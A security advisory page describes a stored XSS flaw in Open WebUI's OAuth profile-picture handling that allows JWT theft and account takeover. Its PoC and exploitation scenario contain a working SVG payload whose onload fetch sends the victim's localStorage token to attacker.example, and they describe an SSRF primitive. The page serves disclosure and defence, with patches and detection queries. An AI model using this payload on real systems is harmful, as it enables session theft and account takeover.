GHSA-3wgj-c2hg-vm6q: open-webui: XSS via OAuth SVG picture → account takeover

GHSA-3wgj-c2hg-vm6q HIGH
Published May 14, 2026
CISO Take

Open WebUI's OAuth sign-in flow accepts any URL as a user profile picture, infers the MIME type from the file extension rather than the server's Content-Type header, and stores the result verbatim in the database — entirely bypassing the validator that restricts images to PNG/JPEG/GIF/WebP. An attacker with any valid identity provider account sets their profile picture to a malicious SVG, signs into an Open WebUI instance, and then shares a link to their own profile image endpoint; any authenticated victim who opens that link receives the SVG rendered inline by the browser in the app's own origin, executing arbitrary JavaScript that reads `localStorage.token` and exfiltrates the JWT for immediate account takeover. With 91 prior CVEs in this package, no default CSP or X-Content-Type-Options headers, and a secondary SSRF primitive in the same function, the blast radius extends beyond XSS — victims with `workspace.tools` permission face RCE per the advisory's own cross-reference to CVE-2025-64496. Patch to open-webui 0.9.5 immediately; if patching is blocked, set `ENABLE_OAUTH_SIGNUP=false` and `OAUTH_UPDATE_PICTURE_ON_LOGIN=false` and audit your `profile_image_url` column for existing `data:image/svg+xml` entries.

Sources: GitHub Advisory ATLAS

What is the risk?

High risk in any Open WebUI deployment with OAuth enabled and default security header configuration. The attack requires only a legitimate IdP account and the ability to send a link — no AI/ML expertise, no elevated privileges, and no prior foothold in the target environment. Exploitation is trivially reproducible from the public advisory PoC. The default deployment ships without CSP or nosniff headers, providing no browser-level backstop. Post-exploitation impact escalates from account takeover to potential RCE for privileged users. The secondary SSRF primitive in `_process_picture_url` enables internal network reconnaissance as a side channel, compounding risk in cloud or on-premises environments where the Open WebUI host has network adjacency to sensitive services.

How does the attack unfold?

Initial Access via OAuth
Attacker with a valid IdP account sets their profile picture URL to a malicious SVG and authenticates into Open WebUI via OAuth, triggering the vulnerable `_process_picture_url` function.
AML.T0049
Validator Bypass & Payload Storage
Open WebUI infers `image/svg+xml` MIME type from the URL file extension, skips the Pydantic profile image validator entirely, and writes the SVG data URI directly to the database via SQLAlchemy.
Malicious Link Delivery
Attacker shares the profile image endpoint URL with a target victim via DM or channel, socially engineering the click.
AML.T0011.003
JWT Exfiltration & Account Takeover
Victim's browser renders the SVG as an inline top-level document in the app origin, JavaScript fires, reads the JWT from localStorage, and posts it to the attacker — who immediately uses it to take over the victim's account.
AML.T0091.000

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip <= 0.9.4 0.9.5
143.3K Pushed 8d ago 77% patched ~5d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
7.3 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI Required
S Unchanged
C High
I High
A None

What should I do?

6 steps
  1. Patch immediately

    Upgrade open-webui to 0.9.5, which enforces MIME allowlisting in _process_picture_url and adds defense-in-depth at the serving endpoint.

  2. Interim workaround

    If upgrade is blocked, set ENABLE_OAUTH_SIGNUP=false and OAUTH_UPDATE_PICTURE_ON_LOGIN=false to prevent new SVG payloads from being stored.

  3. Harden default headers

    Enable X-Content-Type-Options: nosniff and a restrictive CSP via the Open WebUI environment variables documented in security_headers.py — these are opt-in and off by default.

  4. Detect existing compromise

    Query SELECT id, email, profile_image_url FROM users WHERE profile_image_url LIKE 'data:image/svg+xml%' against your PostgreSQL instance; any match indicates exploitation or attempted exploitation.

  5. Force JWT rotation

    If SVG entries are found, invalidate all active sessions for the associated accounts and require re-authentication.

  6. Block SSRF

    Add network egress controls to restrict Open WebUI's outbound HTTP to known-good IdP endpoints, preventing the SSRF secondary primitive from reaching internal services.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 9 - Risk management system
ISO 42001
A.9.3 - Protection of AI system
NIST AI RMF
MEASURE 2.6 - Risk to individuals from AI system operation
OWASP LLM Top 10
LLM02:2025 - Insecure Output Handling

Frequently Asked Questions

What is GHSA-3wgj-c2hg-vm6q?

Open WebUI's OAuth sign-in flow accepts any URL as a user profile picture, infers the MIME type from the file extension rather than the server's Content-Type header, and stores the result verbatim in the database — entirely bypassing the validator that restricts images to PNG/JPEG/GIF/WebP. An attacker with any valid identity provider account sets their profile picture to a malicious SVG, signs into an Open WebUI instance, and then shares a link to their own profile image endpoint; any authenticated victim who opens that link receives the SVG rendered inline by the browser in the app's own origin, executing arbitrary JavaScript that reads `localStorage.token` and exfiltrates the JWT for immediate account takeover. With 91 prior CVEs in this package, no default CSP or X-Content-Type-Options headers, and a secondary SSRF primitive in the same function, the blast radius extends beyond XSS — victims with `workspace.tools` permission face RCE per the advisory's own cross-reference to CVE-2025-64496. Patch to open-webui 0.9.5 immediately; if patching is blocked, set `ENABLE_OAUTH_SIGNUP=false` and `OAUTH_UPDATE_PICTURE_ON_LOGIN=false` and audit your `profile_image_url` column for existing `data:image/svg+xml` entries.

Is GHSA-3wgj-c2hg-vm6q actively exploited?

No confirmed active exploitation of GHSA-3wgj-c2hg-vm6q has been reported, but organizations should still patch proactively.

How to fix GHSA-3wgj-c2hg-vm6q?

1. **Patch immediately**: Upgrade open-webui to 0.9.5, which enforces MIME allowlisting in `_process_picture_url` and adds defense-in-depth at the serving endpoint. 2. **Interim workaround**: If upgrade is blocked, set `ENABLE_OAUTH_SIGNUP=false` and `OAUTH_UPDATE_PICTURE_ON_LOGIN=false` to prevent new SVG payloads from being stored. 3. **Harden default headers**: Enable `X-Content-Type-Options: nosniff` and a restrictive CSP via the Open WebUI environment variables documented in `security_headers.py` — these are opt-in and off by default. 4. **Detect existing compromise**: Query `SELECT id, email, profile_image_url FROM users WHERE profile_image_url LIKE 'data:image/svg+xml%'` against your PostgreSQL instance; any match indicates exploitation or attempted exploitation. 5. **Force JWT rotation**: If SVG entries are found, invalidate all active sessions for the associated accounts and require re-authentication. 6. **Block SSRF**: Add network egress controls to restrict Open WebUI's outbound HTTP to known-good IdP endpoints, preventing the SSRF secondary primitive from reaching internal services.

What systems are affected by GHSA-3wgj-c2hg-vm6q?

This vulnerability affects the following AI/ML architecture patterns: LLM chat interfaces, Local LLM deployments, AI agent frameworks, ML UI platforms, Multi-user AI workspaces.

What is the CVSS score for GHSA-3wgj-c2hg-vm6q?

GHSA-3wgj-c2hg-vm6q has a CVSS v3.1 base score of 7.3 (HIGH).

What is the AI security impact?

Affected AI Architectures

LLM chat interfacesLocal LLM deploymentsAI agent frameworksML UI platformsMulti-user AI workspaces

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0012 Valid Accounts
AML.T0048.003 User Harm
AML.T0049 Exploit Public-Facing Application
AML.T0055 Unsecured Credentials
AML.T0091.000 Application Access Token

Compliance Controls Affected

EU AI Act: Art. 9
ISO 42001: A.9.3
NIST AI RMF: MEASURE 2.6
OWASP LLM Top 10: LLM02:2025

What are the technical details?

Original Advisory

# Summary When a user signs in via OAuth, Open WebUI fetches the `picture` claim URL, infers a MIME type from the URL extension via `mimetypes.guess_type`, and stores `data:<mime>;base64,...` as the user's profile image. The OAuth code path does not go through the `validate_profile_image_url` Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A `.svg` URL in the `picture` claim lands in the database as `data:image/svg+xml;base64,...`. The profile image endpoint `GET /api/v1/users/{id}/profile/image` returns the stored data URI with the attacker-controlled MIME type as `Content-Type` and `Content-Disposition: inline`. Security headers (CSP, `X-Content-Type-Options`) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing `<script>`/`onload` in the same origin and able to read `localStorage.token` → account takeover. Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path. # Details ## 1. MIME inferred from URL extension, not Content-Type `backend/open_webui/utils/oauth.py:1336-1345` — `_process_picture_url`: ```python response = await client.get(picture_url, ...) if response.status_code == 200: picture = response.content base64_encoded_picture = base64.b64encode(picture).decode("utf-8") guessed_mime_type = mimetypes.guess_type(picture_url)[0] if guessed_mime_type is None: guessed_mime_type = "image/jpeg" return f"data:{guessed_mime_type};base64,{base64_encoded_picture}" ``` No MIME allowlist. The upstream `Content-Type` is ignored. For a URL ending in `.svg`, `mimetypes.guess_type` returns `image/svg+xml`. ## 2. OAuth path bypasses the profile-image validator `backend/open_webui/utils/validate.py:10-36` defines `validate_profile_image_url`, which only accepts `/user.png`, `/user-mono.png`, and `data:image/{png,jpeg,gif,webp};base64,...`. This validator is wired into Pydantic form models (`SignupForm`, `UpdateProfileForm`, `UserUpdateForm`), but the OAuth flow at `oauth.py:1536-1540` (existing-user login) and `oauth.py:1556-1574` (new-user signup) writes via `Users.update_user_profile_image_url_by_id` and `Auths.insert_new_auth`, both of which call SQLAlchemy directly (`models/users.py:575-588`) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged. ## 3. Endpoint serves attacker-controlled MIME with `inline` disposition `backend/open_webui/routers/users.py:504-528` — `get_user_profile_image_by_id`: ```python header, encoded = image.split(",", 1) media_type = header.split(";")[0].lstrip("data:") # "image/svg+xml" data = base64.b64decode(encoded) return StreamingResponse( iter([data]), media_type=media_type, headers={"Content-Disposition": "inline"}, ) ``` No MIME whitelist. The route requires `get_verified_user` — any authenticated user reaches it. ## 4. No default CSP / nosniff `backend/open_webui/utils/security_headers.py:16-61` populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level `image/svg+xml` response as an XML document and execute embedded script. # PoC **Prerequisites**: operator has OAuth signup enabled (`ENABLE_OAUTH_SIGNUP=true`) or OAuth login with picture sync (`OAUTH_UPDATE_PICTURE_ON_LOGIN=true`). The attacker has a valid identity on the configured IdP and can set their profile picture URL. 1. Attacker hosts a malicious SVG at `https://attacker.example/p.svg`: ```xml <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" /> ``` 2. Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores `data:image/svg+xml;base64,...` in the attacker's `profile_image_url`. 3. Attacker shares a link to their own profile image with a victim in a chat DM or channel: ``` https://target.example/api/v1/users/<attacker-user-id>/profile/image ``` 4. The authenticated victim clicks the link. The browser receives `Content-Type: image/svg+xml` with `Content-Disposition: inline`, renders the SVG as a top-level document, fires `onload`, and exfiltrates the victim's JWT. Attacker uses the JWT to take over the victim's account. # Impact - Account takeover of any authenticated user who opens the crafted URL. - Post-takeover: access to the victim's chats, API keys stored in their settings, and — if the victim has `workspace.tools` permission — RCE via installed tools (per CVE-2025-64496 analysis). - The same `_process_picture_url` function has no SSRF allowlist; a secondary primitive is to point the `picture` claim at an internal URL (metadata service, internal admin panel) and read the response bytes via the profile image endpoint. # Suggested fix 1. In `_process_picture_url` (`utils/oauth.py:1336-1345`): reject any MIME outside `{image/png, image/jpeg, image/gif, image/webp}`. Use the upstream `Content-Type` response header, not the URL extension. Also add an SSRF allowlist or at minimum block RFC1918 / link-local / loopback targets. 2. In `get_user_profile_image_by_id` (`routers/users.py:504-528`): enforce a MIME whitelist before building `StreamingResponse`. This is the defense-in-depth layer that should have caught the bypass. 3. Apply `validate_profile_image_url` at the model/storage layer (`Users.update_user_profile_image_url_by_id`), not only at the Pydantic form layer. All write paths to the profile image column should go through the same validator. 4. Set `X-Content-Type-Options: nosniff` and a default CSP unless the operator explicitly disables them. # References - `backend/open_webui/utils/oauth.py:1318-1351` — MIME guess + fetch - `backend/open_webui/utils/oauth.py:1536-1574` — OAuth write path - `backend/open_webui/utils/validate.py:10-36` — validator (bypassed) - `backend/open_webui/models/users.py:575-588` — DB write - `backend/open_webui/routers/users.py:504-528` — serving endpoint - `backend/open_webui/utils/security_headers.py:16-61` — env-gated headers - CVE-2025-64496 — precedent: trust boundary error (same class) - CVE-2025-64495 — precedent: rich-text XSS (same class)

Exploitation Scenario

An attacker registers with an OAuth identity provider (Google Workspace, Okta, any OIDC-compatible IdP) that is configured as a sign-in method for the target Open WebUI deployment. They set their IdP profile picture to a URL pointing to an attacker-controlled SVG: `https://attacker.example/p.svg` containing `<svg xmlns='http://www.w3.org/2000/svg' onload="fetch('https://attacker.example/x?t='+encodeURIComponent(localStorage.getItem('token')))"/>`. Upon OAuth sign-in, Open WebUI fetches the SVG, uses `mimetypes.guess_type` to infer `image/svg+xml` from the `.svg` extension, and stores the base64-encoded payload as the attacker's `profile_image_url` — the Pydantic validator is never invoked. The attacker then sends a DM to a target victim within Open WebUI: 'Check out this report I found' with an embedded link to `https://target.example/api/v1/users/<attacker-user-id>/profile/image`. The authenticated victim clicks the link; the server responds with `Content-Type: image/svg+xml` and `Content-Disposition: inline`, the browser renders it as a top-level XML document in the app's origin, `onload` fires, and the victim's JWT is silently posted to the attacker's server. The attacker immediately uses the JWT in an `Authorization: Bearer` header to call `/api/v1/users/me`, confirming account identity, then pivots to `/api/v1/tools/list` to enumerate installed agent tools for potential RCE.

Weaknesses (CWE)

CWE-20 — Improper Input Validation: The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

  • [Architecture and Design] Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
  • [Architecture and Design] Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Timeline

Published
May 14, 2026
Last Modified
May 14, 2026
First Seen
May 15, 2026

Related Vulnerabilities